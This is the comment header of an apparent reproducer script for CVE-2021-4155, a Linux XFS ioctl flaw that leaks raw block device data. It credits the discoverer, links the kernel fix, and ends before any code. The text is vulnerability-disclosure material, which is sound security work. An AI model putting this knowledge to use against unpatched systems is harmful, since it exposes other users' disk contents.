# Reproducer for CVE-2021-4155
# This script shows the way ioctl(XFS_IOC_ALLOCSP) and friends
# leak 4095 bytes of every XFS block (4096 bytes) -- almost everything.
# Found by ktkhai@virtuozzo.com, fix and report sent to Red Hat and security@kernel.org.
# Fix: https://lists.openvz.org/pipermail/devel/2021-December/079470.html
# Fix in ms: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=983d8e60f50806f90534cc5373d0ce867e5aaf79

# This is a strange ioctl(XFS_IOC_ALLOCSP), which does
# the same as fallocate(). The only difference is that it can leak raw block device data.
# This may be a backdoor, but since it's introduced long time ago before git, it's difficult to investigate.
# Prepare block device image.
